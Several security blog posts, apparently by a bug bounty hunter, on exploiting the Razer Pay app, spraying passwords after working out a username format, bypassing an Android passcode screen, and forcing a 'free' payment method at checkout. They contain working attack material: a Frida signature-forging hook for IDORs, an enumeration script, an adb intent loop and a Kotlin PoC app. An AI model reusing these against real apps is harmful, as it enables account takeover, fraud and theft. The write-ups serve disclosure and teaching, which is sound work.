Sadly when Covid hit just before March, Facebook decided to postpone it and host it as a virtual conference. This was a shame as I was looking forward to meet up with some of my fellow hackers.
Anyway, below is the recorded version of the presentation. Enjoy.
]]>
This write-up is about hacking the Razer Pay Android app - an E-Wallet app used in Singapore and Malaysia. It was an interesting journey worth blogging due to the use of some interesting techniques including Frida, a tool that I only thought was meant for bypassing SSL-pinning or root detection.
In this write-up I will show how I was able to use Frida to compromise the app, ranging from reading other user’s chat messages, deleting user’s bank accounts, gleaning user’s private info, and even stealing money from other user’s accounts.
The Razer Pay app utilised signatures to prevent tampering of request payloads. Each GET and POST request that was delivered to the server was protected with a calculated signature field.
Any attempts to modify the request parameters would result in a error response. However by reverse engineering the APK file and identifying the right methods, it was possible to to calculate the new signatures for modified payloads. Combining the use of Frida to automate the re-calculation of the new signatures, it was possible identify a large number of IDOR issues.
When selecting programs to participate on, I normally like to choose programs that have higher barrier to entry to avoid duplicates. When Razer decided to participate on the Hackerone platform, the Razer Pay app caught my eye. This was because a Malaysian or Singaporean mobile number was required for registration. Living in Australia, I did not own a Malaysian/Singapore mobile numbers. However I had a some friends and family members who lived in Malaysia that were willing help source some Malaysian numbers for testing. Knowing that many bug bounty hunters would mostly have this resistance, I decided to take a deep dive in this app :)
I started analyising this application by proxying traffic using Burp and quickly noticed that a lot of parameters could not be tampered. This is due to the signature field in each request. My first thought was to register another user account and copy the same payload for an action that could only be made by that user, and perform it on the first user’s session. But that failed as the signature was also calculated based on the second user’s session auth header.
I was determined to find how the signatures were calculated. So I decompiled the application using apktool and use Jadx-Gui to understand how the application worked. I started to search for API endpoints and traced it back a method called “MD5Encode”. The name suggested “MD5 hash” algorithm but I was never able to calculate the right signature by MD5-ing the payload (perhaps they were in the wrong order or wasn’t the normal implementation of MD5).
Not giving up, I decided to copy all the Java code and perform the signature calculation offline. My choice of IDE was IntelliJ IDEA. At this point, I knew the the right paramter value sequence to insert into the “MD5Encode” method based on my previous source code analysis. There were some minor tweaking required to get the code to compile (due to the code obfuscation) but it wasn’t too hard. Placing in the same parameter values for an existing request I previously made into the method yielded the same signature, so I knew I was on the right track!
I wanted to test for IDORs as I thought there is a good probability that developers were depending on the signatures to protect against parameter value tampering. In this specific API that I was testing /deleteBankAccount, I calculated the signatures for a range of predictable id values and its corresponding signature value. I then selected the id (bank Id) for a second account that I owned and delivered the payload.
This worked and I was able to delete my another user’s bank account! Nasty…
At this point, I knew there must be other API endpoints that were vulnerable to IDOR but protected by the signature field. I tried to repeat the same attack I did previously but nothing worked. This was because other API endpoints used different algorithm and were painful obfuscated. The code compilation failed and I was wasting a lot of time troubleshooting obfuscated code.
This is where Frida came to the rescue. Frida was awesome as it did all the heavy lifting and all I needed to do was identify the right method that I wanted to hook. By hooking the right method and providing Frida with the neccessary values it needed to calculated the new signatures, I was able to quickly automate things and get the right signature.
// frida.js - Use this for recalculating signature for adding user to other people's chatgroup
console.log("Starting...")
Java.perform(function () {
var MD5 = Java.use('com.mol.molwallet.view.MD5')
MD5.MD5Encode.implementation = function (arg)
{
console.log("Hooking class MD5 - method MD5Encode")
//Extra step - calculate new signature
var ret_value = this.MD5Encode("groupId=1x9&userIds=95xxx7&token=b6fxxxd3-2xxc-4xxf-bxx7-7fxxxxa6")
console.log("[+] signature= " + ret_value)
//Call method with original arguments so app doesn't crash ..
var ret_value = this.MD5Encode(arg) //original value
console.log("original ARG: " + arg)
return ret_value;
}
})
To run the frida, I had to have root access (This did not matter as I was testing a server side issue and an attacker could easily use a rooted device to perform the attack). The following commands were used to start frida server on the mobile device.
$ adb shell
# sudo su
# /data/local/tmp/frida-server
On a different terminal tab, I ran the following commands to run the Frida script.
$ frida -l frida.js -U com.mol.molwallet
As I browsed the mobile app, any action that utilised the hooked method “MD5Encode” would run the script loaded. As a result, I was able to get the right signature that I needed to make a valid request. In this specific example, I was able to add myself to a chatgroup that I was not invited to. The impact of this is that I am able to view other user’s chat messages , and worst of all steal unclaimed money that is shared betweem members in a group chat.
I repeated the same technique with Frida for all other API endpoints that were vulnerable. Some high impact issues include enumerating how much red packet (money) was shared between users or in a group, viewing and modifying other user’s transaction details and personal information.
The total bounty received for reporting these issues was approximately $6,000. The disclosure and reward process with Razer team were at time frusfrating due to the lack of response. Sometimes I cringe when I read my multiple follow ups for a response or follow ups on bounty rewards that were forgotten. However most of the issues were resolved recently and I have personally decided to take a break from this program going forward given the experience I had.
]]>For external Pentest, I normally aim to get a foothold in the client’s internal within the first day by exploiting weak authentication and password spraying on their public AD endpoints. This includes Lync/Skype, OWA, Citrix and other 3rd party application such as ServiceDesk, BYOD applications etc. If the client uses weak password or lacked MFA, this normally gets me in straight away and I complete the objective and can afford to look for more interesting ways into an organisation. This is great as it gives me times to identify vulnerabilities in organisation’s custom app including any 0-days in 3rd party application.
For this specific client, after enumerating a large number of usernames using Initstring’s awesome tool Linkedin2username https://github.com/initstring/linkedin2username, I noticed that Lyncsmash https://github.com/nyxgeek/lyncsmash did not give me any hits for valid users.
After a bit of experimenting, I contacted the client to ask for their AD username format as I struggled to get any hits. The response from the client was that they use very “custom” formats that he himself is not aware how it is assigned.
Hmm…Crap…
A while back I managed to find an organisation’s username format by searching Github. But this client did not use Github. Fortunately a collegue of mine suggested using other tools such as FOCA to extract metadata from company documents that might reveal such info.
Ligh bulb moment!
After running FOCA https://github.com/ElevenPaths/FOCA across previous enumerated subdomain, sure enough I came across some hits revealing the company’s username format, which happen to something like QWEAB003. Comparing the enumerated usernames, I quickly noticed that first 3 characters QWE are always constant, A is first character of the firstname, B is the first character of the last name, and the last 3 digits were seemed to be between 001 and 020. The last 3 digits made sense as there could be multiple users with the same initials (e.g. John Doe , James Doodoo)
I quickly wrote a basic python script to enumerate all possible username combinations.
from string import ascii_uppercase
for a in ascii_uppercase:
for b in ascii_uppercase:
for num1 in range(3):
for num2 in range(10): # from 000 to 020 to save time
print("QWE{}{}0{}{}".format(a,b,num1,num2))
''' Sample output:
QWEAA000
QWEAA001
QWEAA002
...
QWEZZ018
QWEZZ019
I then fed this into lyncsmash and sure enough, I got hits and very quickly was able tp compromise some users due to weak passwords and lack of MFA, and gain access to their internal network.
I had some time off today due to an engagement pulling out so I decided to spend the down time combining some of the community recon tools I normally use.
The following are some of the tools I normally use for an external PT engagements (or bug bounty programs):
The following scripts can be used to quickly find any potential low-hanging fruit on an engagement or bug bounty program:
subdomain_enum.sh
screen_enum.sh
dir_enum.sh
master.sh
To run the tool, save all the scripts in the same directory and run the following commands:
./master.sh domain.comSimple right? Assuming that you have already got the existing tools I mentioned ready to go :)
Script can be downloaded here:
]]>An Activity is one of the Android’s component in an app. It is the screen that the user sees on a mobile app. (For example, the setting’s “screen”, home “screen, etc). A simple app could have one while more complicated ones could have dozens.
From a security perspective, I normally check if the app components are exported, meaning if they can be directly called by other applications. Sometimes these exported apps can be used to bypass restrictions that wasn’t intended by the developer.
On this specific bug bounty program, I noticed the application permitted a deep link, for argument sake let’s call it com.android.appname:// which automatically triggered the home activity of the app. However, with a passcode setup it was not possible to access the home page. I would consider accessing this page a sensitive as if an attacker could access the home page of the app, he could access sensitive information including making financial transactions.
I initially tried to fuzz different parameters such as “com.android.appname://login=1” using automation tools but this not get me anywhere. I then had a wild thought of sending this intent multiple times quickly, and this was when I noticed the app showed the home screen briefly before entering the passcode screen.
I then used the simple following code as a PoC, and was able to bypass the passcode screen.
while (true); do adb shell am start -a android.intent.action.VIEW -d "com.android.appname://"; sleep 0.15; done
No doubt occasionally there were few tapping attemps needed before the app registered the action (due to the timing effect), but it did the job!
I then proceeded to create a simple Android app with my limited Kotlin skills (I admit I struggled but learned a lot)
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
bigButton.setOnClickListener {
Log.d("fast", "fast button pressed")
val url = "com.android.appname://"
for (n in 1..500) {
startActivity(
Intent(
Intent.ACTION_VIEW, Uri.parse(url)
)
)
Thread.sleep(100)
}
}
button2.setOnClickListener {
Log.d("medium", "Medium button pressed")
val url = "com.android.appname://"
for (n in 1..500) {
startActivity(
Intent(
Intent.ACTION_VIEW, Uri.parse(url)
)
)
Thread.sleep(150)
}
}
button3.setOnClickListener {
Log.d("slow", "Slow button pressed")
val url = "com.android.appname://"
for (n in 1..500) {
startActivity(
Intent(
Intent.ACTION_VIEW, Uri.parse(url)
)
)
Thread.sleep(250)
}
}
}
}I created 3 buttons on the app in case the Hackerone reviewer’s phone behaved differently to mine.
This was an interesting find as I never thought of bypassing passcode activities using timing attack.
]]>
The checkout page was a two (2) step process. The first page was a page showing the payment amount owing including options to add delivery, vouchers and coupons. The second page was the payment page where the user had to place in his credit card details or other payment methods such as paypal.
After throwing everything I could at it, I noticed something interesting about the payment method in the second step’s POST request body.
... accept_terms=1&paymentmethod=creditcard&PANnumber=xxxxxxx&CCexpiry=xxxxx....I thought “What if there were other payment methods that I could use, that could perhaps allow me to get things for free?” .
Playing around a bit more revealed that there was indeed different methods. I noticed that if a voucher was used, and it had enough funds to complete the transaction, the payment method used in step 2 was set to “free”
... accept_terms=1&paymentmethod=free ...I quickly repeated the whole process with a new item, intercepted the request in step 2, and removed all credit card details and replaced the method with “free”.
Sure enough, the transaction went through and I was able to successfully make a transaction for free.
I reported this immediately to the vendor and an emergency patch was rolled out the next day.
]]>